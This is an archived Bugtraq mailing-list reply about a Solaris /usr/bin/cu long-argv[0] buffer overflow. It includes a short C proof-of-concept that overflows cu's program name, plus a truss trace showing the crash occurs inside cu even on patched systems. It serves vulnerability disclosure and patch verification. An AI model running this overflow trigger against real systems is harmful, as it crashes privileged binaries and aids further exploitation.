[18901] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Solaris /usr/bin/cu Vulnerability

daemon@ATHENA.MIT.EDU (Dan Harkless)
Wed Jan 31 12:24:58 2001

Message-ID:  <200101310518.VAA21556@dilvish.speed.net>
Date:         Tue, 30 Jan 2001 21:18:32 -0800
Reply-To: Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET>
From: Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  Message from optyx <optyx@UBERHAX0R.NET> of "Tue, 30 Jan 2001
              12:01:10 PST."
              <Pine.BSO.4.21.0101301154430.6496-100000@pr0n.newhackcity.net>

optyx <optyx@UBERHAX0R.NET> writes:
> Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET> wrote:
> >Are you implying the above patches fix the cu long hardlink name
> >vulnerability?  This is not the case, at least on 2.6:
> >
> >    # cat > cu_exploit.c
> >    #include <stdio.h>
> >
> >    void main(int argc,char **argv)
> >    {
> >    char *buf;
> >
> >    buf = (char *) malloc(atoi(argv[1])*sizeof(char));
> >    memset(buf,0x41,atoi(argv[1])-1);
> >    buf[atoi(argv[1])-1]=0;
> >    execl("/usr/bin/cu",buf,(char *)0);
> >    }
> >    # gcc cu_exploit.c
> >    cu_exploit.c: In function `main':
> >    cu_exploit.c:4: warning: return type of `main' is not `int'
> >    # a.out
> >    Segmentation fault
>
> see that atoi(argv[1])?  a.out crashed not /usr/bin/cu.  try a.out 4000 or
> whatever number next time, or trace through it with gdb.

Right, sorry.  I had the 4000 (actually 40000 -- didn't crash with only
4000) in there when I was running it originally but forgot to include it in
my proof-of-concept session.  Here's the correct version (ellipsis in the
Usage and \-line-wrapping mine):

    # a.out 4000
    Usage: AAA[...]AAA [-dhtnLC] [-c device] [-s speed] [-l line] [-b 7|8]
	    [-o | -e] telno | systemname [local-cmd]
    # a.out 40000
    Segmentation Fault
    # truss a.out 40000
    execve("./a.out", 0xEFFFFC98, 0xEFFFFCA4)  argc = 2
    open("/dev/zero", O_RDONLY)                     = 3
    mmap(0x00000000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3,\
     0) = 0xEF7B0000
    stat("a.out", 0xEFFFF998)                       = 0
    open("/var/ld/ld.config", O_RDONLY)             Err#2 ENOENT
    open("/usr/local/lib/libc.so.1", O_RDONLY)      Err#2 ENOENT
    open("/usr/lib/libc.so.1", O_RDONLY)            = 4
    fstat(4, 0xEFFFF734)                            = 0
    mmap(0x00000000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF7A0000
    mmap(0x00000000, 704512, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF6C0000
    mmap(0xEF763000, 25888, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 4, 602112) = 0xEF763000
    mmap(0xEF76A000, 4144, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 3, 0) = 0xEF76A000
    munmap(0xEF754000, 61440)                       = 0
    memcntl(0xEF6C0000, 101660, MC_ADVISE, 0x0003, 0, 0) = 0
    close(4)                                        = 0
    open("/usr/local/lib/libdl.so.1", O_RDONLY)     Err#2 ENOENT
    open("/usr/lib/libdl.so.1", O_RDONLY)           = 4
    fstat(4, 0xEFFFF734)                            = 0
    mmap(0xEF7A0000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0)\
     = 0xEF7A0000
    close(4)                                        = 0
    open("/usr/platform/SUNW,SPARCstation-5/lib/libc_psr.so.1", O_RDONLY)\
     Err#2 ENOENT
    close(3)                                        = 0
    brk(0x00020BA0)                                 = 0
    brk(0x0002ABA0)                                 = 0
    execve("/usr/bin/cu", 0xEFFFFBB8, 0xEFFFFCB0)  argc = 1
    open("/dev/zero", O_RDONLY)                     = 3
    mmap(0x00000000, 40960, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3,\
     0) = 0xEF7B0000
    stat("/usr/bin/cu", 0xEFFF5D60)                 = 0
    open("/var/ld/ld.config", O_RDONLY)             Err#2 ENOENT
    mmap(0x00000000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3,\
     0) = 0xEF7A0000
    open("/usr/local/lib/libnsl.so.1", O_RDONLY)    Err#2 ENOENT
    open("/usr/lib/libnsl.so.1", O_RDONLY)          = 4
    fstat(4, 0xEFFF5AFC)                            = 0
    mmap(0x00000000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF790000
    mmap(0x00000000, 581632, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF700000
    mmap(0xEF780000, 32812, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 4, 458752) = 0xEF780000
    mmap(0xEF789000, 19976, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 3, 0) = 0xEF789000
    munmap(0xEF771000, 61440)                       = 0
    memcntl(0xEF700000, 70140, MC_ADVISE, 0x0003, 0, 0) = 0
    close(4)                                        = 0
    open("/usr/local/lib/libsocket.so.1", O_RDONLY) Err#2 ENOENT
    open("/usr/lib/libsocket.so.1", O_RDONLY)       = 4
    fstat(4, 0xEFFF5AFC)                            = 0
    mmap(0xEF790000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0)\
     = 0xEF790000
    mmap(0x00000000, 102400, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF6E0000
    mmap(0xEF6F7000, 4089, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 4, 28672) = 0xEF6F7000
    mmap(0xEF6F8000, 388, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 3, 0) = 0xEF6F8000
    munmap(0xEF6E8000, 61440)                       = 0
    memcntl(0xEF6E0000, 12072, MC_ADVISE, 0x0003, 0, 0) = 0
    close(4)                                        = 0
    open("/usr/local/lib/libc.so.1", O_RDONLY)      Err#2 ENOENT
    open("/usr/lib/libc.so.1", O_RDONLY)            = 4
    fstat(4, 0xEFFF5AFC)                            = 0
    mmap(0xEF790000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0)\
     = 0xEF790000
    mmap(0x00000000, 704512, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF600000
    mmap(0xEF6A3000, 25888, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 4, 602112) = 0xEF6A3000
    mmap(0xEF6AA000, 4144, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 3, 0) = 0xEF6AA000
    munmap(0xEF694000, 61440)                       = 0
    memcntl(0xEF600000, 101660, MC_ADVISE, 0x0003, 0, 0) = 0
    close(4)                                        = 0
    open("/usr/local/lib/libdl.so.1", O_RDONLY)     Err#2 ENOENT
    open("/usr/lib/libdl.so.1", O_RDONLY)           = 4
    fstat(4, 0xEFFF5AFC)                            = 0
    mmap(0xEF790000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0)\
     = 0xEF790000
    close(4)                                        = 0
    open("/usr/local/lib/libmp.so.2", O_RDONLY)     Err#2 ENOENT
    open("/usr/lib/libmp.so.2", O_RDONLY)           = 4
    fstat(4, 0xEFFF5AFC)                            = 0
    mmap(0x00000000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0xEF6D0000
    mmap(0x00000000, 77824, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =\
     0xEF5E0000
    mmap(0xEF5F2000, 3581, PROT_READ|PROT_WRITE|PROT_EXEC,\
     MAP_PRIVATE|MAP_FIXED, 4, 8192) = 0xEF5F2000
    munmap(0xEF5E3000, 61440)                       = 0
    memcntl(0xEF5E0000, 3020, MC_ADVISE, 0x0003, 0, 0) = 0
    close(4)                                        = 0
    mmap(0x00000000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3,\
     0) = 0xEF6C0000
    open("/usr/platform/SUNW,SPARCstation-5/lib/libc_psr.so.1", O_RDONLY)\
     Err#2 ENOENT
    close(3)                                        = 0
    munmap(0xEF6D0000, 4096)                        = 0
	Incurred fault #6, FLTBOUNDS  %pc = 0xEF624694
	  siginfo: SIGSEGV SEGV_MAPERR addr=0x00038000
	Received signal #11, SIGSEGV [default]
	  siginfo: SIGSEGV SEGV_MAPERR addr=0x00038000
	    *** process killed ***

As you can see, exec() has passed control over to /usr/bin/cu when we seg
fault.

----------------------------------------------------------------------
Dan Harkless                   | To prevent SPAM contamination, please
dan-bugtraq@dilvish.speed.net  | do not mention this private email
SpeedGate Communications, Inc. | address in Usenet posts.  Thank you.

home help back first fref pref prev next nref lref last post